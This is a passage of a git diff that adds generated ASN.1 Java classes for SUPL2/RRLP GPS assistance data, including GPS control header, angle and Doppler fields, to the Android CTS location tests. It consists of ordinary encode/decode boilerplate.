+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Add_GPS_ControlHeader from encoded stream.
+ */
+ public static Add_GPS_ControlHeader fromPerUnaligned(byte[] encodedBytes) {
+ Add_GPS_ControlHeader result = new Add_GPS_ControlHeader();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Add_GPS_ControlHeader from encoded stream.
+ */
+ public static Add_GPS_ControlHeader fromPerAligned(byte[] encodedBytes) {
+ Add_GPS_ControlHeader result = new Add_GPS_ControlHeader();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSEphemerisExtension gpsEphemerisExtension_;
+ public GPSEphemerisExtension getGpsEphemerisExtension() {
+ return gpsEphemerisExtension_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisExtension
+ */
+ public void setGpsEphemerisExtension(Asn1Object value) {
+ this.gpsEphemerisExtension_ = (GPSEphemerisExtension) value;
+ }
+ public GPSEphemerisExtension setGpsEphemerisExtensionToNewInstance() {
+ gpsEphemerisExtension_ = new GPSEphemerisExtension();
+ return gpsEphemerisExtension_;
+ }
+
+ private GPSEphemerisExtensionCheck gpsEphemerisExtensionCheck_;
+ public GPSEphemerisExtensionCheck getGpsEphemerisExtensionCheck() {
+ return gpsEphemerisExtensionCheck_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisExtensionCheck
+ */
+ public void setGpsEphemerisExtensionCheck(Asn1Object value) {
+ this.gpsEphemerisExtensionCheck_ = (GPSEphemerisExtensionCheck) value;
+ }
+ public GPSEphemerisExtensionCheck setGpsEphemerisExtensionCheckToNewInstance() {
+ gpsEphemerisExtensionCheck_ = new GPSEphemerisExtensionCheck();
+ return gpsEphemerisExtensionCheck_;
+ }
+
+
+
+ private DGPSCorrectionsValidityPeriod extensionDgpsCorrectionsValidityPeriod;
+ public DGPSCorrectionsValidityPeriod getExtensionDgpsCorrectionsValidityPeriod() {
+ return extensionDgpsCorrectionsValidityPeriod;
+ }
+ /**
+ * @throws ClassCastException if value is not a DGPSCorrectionsValidityPeriod
+ */
+ public void setExtensionDgpsCorrectionsValidityPeriod(Asn1Object value) {
+ extensionDgpsCorrectionsValidityPeriod = (DGPSCorrectionsValidityPeriod) value;
+ }
+ public void setExtensionDgpsCorrectionsValidityPeriodToNewInstance() {
+ extensionDgpsCorrectionsValidityPeriod = new DGPSCorrectionsValidityPeriod();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsEphemerisExtension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsEphemerisExtension();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsEphemerisExtensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisExtension.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsEphemerisExtension : "
+ + getGpsEphemerisExtension().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsEphemerisExtensionCheck() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsEphemerisExtensionCheck();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsEphemerisExtensionCheckToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisExtensionCheck.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsEphemerisExtensionCheck : "
+ + getGpsEphemerisExtensionCheck().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionDgpsCorrectionsValidityPeriod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionDgpsCorrectionsValidityPeriod();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionDgpsCorrectionsValidityPeriodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "dgpsCorrectionsValidityPeriod : "
+ + getExtensionDgpsCorrectionsValidityPeriod().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Add_GPS_ControlHeader = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AddionalAngleFields.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AddionalAngleFields.java
new file mode 100755
index 0000000..bebb326
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AddionalAngleFields.java
@@ -0,0 +1,447 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AddionalAngleFields extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AddionalAngleFields
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AddionalAngleFields() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AddionalAngleFields;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AddionalAngleFields != null) {
+ return ImmutableList.of(TAG_AddionalAngleFields);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AddionalAngleFields from encoded stream.
+ */
+ public static AddionalAngleFields fromPerUnaligned(byte[] encodedBytes) {
+ AddionalAngleFields result = new AddionalAngleFields();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AddionalAngleFields from encoded stream.
+ */
+ public static AddionalAngleFields fromPerAligned(byte[] encodedBytes) {
+ AddionalAngleFields result = new AddionalAngleFields();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private AddionalAngleFields.azimuthType azimuth_;
+ public AddionalAngleFields.azimuthType getAzimuth() {
+ return azimuth_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AddionalAngleFields.azimuthType
+ */
+ public void setAzimuth(Asn1Object value) {
+ this.azimuth_ = (AddionalAngleFields.azimuthType) value;
+ }
+ public AddionalAngleFields.azimuthType setAzimuthToNewInstance() {
+ azimuth_ = new AddionalAngleFields.azimuthType();
+ return azimuth_;
+ }
+
+ private AddionalAngleFields.elevationType elevation_;
+ public AddionalAngleFields.elevationType getElevation() {
+ return elevation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AddionalAngleFields.elevationType
+ */
+ public void setElevation(Asn1Object value) {
+ this.elevation_ = (AddionalAngleFields.elevationType) value;
+ }
+ public AddionalAngleFields.elevationType setElevationToNewInstance() {
+ elevation_ = new AddionalAngleFields.elevationType();
+ return elevation_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getAzimuth() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAzimuth();
+ }
+
+ @Override public void setToNewInstance() {
+ setAzimuthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AddionalAngleFields.azimuthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "azimuth : "
+ + getAzimuth().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getElevation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getElevation();
+ }
+
+ @Override public void setToNewInstance() {
+ setElevationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AddionalAngleFields.elevationType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "elevation : "
+ + getElevation().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class azimuthType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_azimuthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public azimuthType() {
+ super();
+ setValueRange("0", "31");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_azimuthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_azimuthType != null) {
+ return ImmutableList.of(TAG_azimuthType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new azimuthType from encoded stream.
+ */
+ public static azimuthType fromPerUnaligned(byte[] encodedBytes) {
+ azimuthType result = new azimuthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new azimuthType from encoded stream.
+ */
+ public static azimuthType fromPerAligned(byte[] encodedBytes) {
+ azimuthType result = new azimuthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "azimuthType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class elevationType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_elevationType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public elevationType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_elevationType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_elevationType != null) {
+ return ImmutableList.of(TAG_elevationType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new elevationType from encoded stream.
+ */
+ public static elevationType fromPerUnaligned(byte[] encodedBytes) {
+ elevationType result = new elevationType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new elevationType from encoded stream.
+ */
+ public static elevationType fromPerAligned(byte[] encodedBytes) {
+ elevationType result = new elevationType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "elevationType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AddionalAngleFields = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AddionalDopplerFields.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AddionalDopplerFields.java
new file mode 100755
index 0000000..c0f7589
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AddionalDopplerFields.java
@@ -0,0 +1,447 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AddionalDopplerFields extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AddionalDopplerFields
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AddionalDopplerFields() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AddionalDopplerFields;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AddionalDopplerFields != null) {
+ return ImmutableList.of(TAG_AddionalDopplerFields);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AddionalDopplerFields from encoded stream.
+ */
+ public static AddionalDopplerFields fromPerUnaligned(byte[] encodedBytes) {
+ AddionalDopplerFields result = new AddionalDopplerFields();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AddionalDopplerFields from encoded stream.
+ */
+ public static AddionalDopplerFields fromPerAligned(byte[] encodedBytes) {
+ AddionalDopplerFields result = new AddionalDopplerFields();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private AddionalDopplerFields.doppler1Type doppler1_;
+ public AddionalDopplerFields.doppler1Type getDoppler1() {
+ return doppler1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AddionalDopplerFields.doppler1Type
+ */
+ public void setDoppler1(Asn1Object value) {
+ this.doppler1_ = (AddionalDopplerFields.doppler1Type) value;
+ }
+ public AddionalDopplerFields.doppler1Type setDoppler1ToNewInstance() {
+ doppler1_ = new AddionalDopplerFields.doppler1Type();
+ return doppler1_;
+ }
+
+ private AddionalDopplerFields.dopplerUncertaintyType dopplerUncertainty_;
+ public AddionalDopplerFields.dopplerUncertaintyType getDopplerUncertainty() {
+ return dopplerUncertainty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AddionalDopplerFields.dopplerUncertaintyType
+ */
+ public void setDopplerUncertainty(Asn1Object value) {
+ this.dopplerUncertainty_ = (AddionalDopplerFields.dopplerUncertaintyType) value;
+ }
+ public AddionalDopplerFields.dopplerUncertaintyType setDopplerUncertaintyToNewInstance() {
+ dopplerUncertainty_ = new AddionalDopplerFields.dopplerUncertaintyType();
+ return dopplerUncertainty_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getDoppler1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDoppler1();
+ }
+
+ @Override public void setToNewInstance() {
+ setDoppler1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AddionalDopplerFields.doppler1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "doppler1 : "
+ + getDoppler1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getDopplerUncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDopplerUncertainty();
+ }
+
+ @Override public void setToNewInstance() {
+ setDopplerUncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AddionalDopplerFields.dopplerUncertaintyType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "dopplerUncertainty : "
+ + getDopplerUncertainty().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class doppler1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_doppler1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public doppler1Type() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_doppler1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_doppler1Type != null) {
+ return ImmutableList.of(TAG_doppler1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new doppler1Type from encoded stream.
+ */
+ public static doppler1Type fromPerUnaligned(byte[] encodedBytes) {
+ doppler1Type result = new doppler1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new doppler1Type from encoded stream.
+ */
+ public static doppler1Type fromPerAligned(byte[] encodedBytes) {
+ doppler1Type result = new doppler1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "doppler1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class dopplerUncertaintyType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_dopplerUncertaintyType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public dopplerUncertaintyType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_dopplerUncertaintyType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_dopplerUncertaintyType != null) {
+ return ImmutableList.of(TAG_dopplerUncertaintyType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new dopplerUncertaintyType from encoded stream.
+ */
+ public static dopplerUncertaintyType fromPerUnaligned(byte[] encodedBytes) {
+ dopplerUncertaintyType result = new dopplerUncertaintyType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new dopplerUncertaintyType from encoded stream.
+ */
+ public static dopplerUncertaintyType fromPerAligned(byte[] encodedBytes) {
+ dopplerUncertaintyType result = new dopplerUncertaintyType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "dopplerUncertaintyType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AddionalDopplerFields = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AdditionalAssistanceData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AdditionalAssistanceData.java
new file mode 100755
index 0000000..ddd89cb
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AdditionalAssistanceData.java
@@ -0,0 +1,345 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
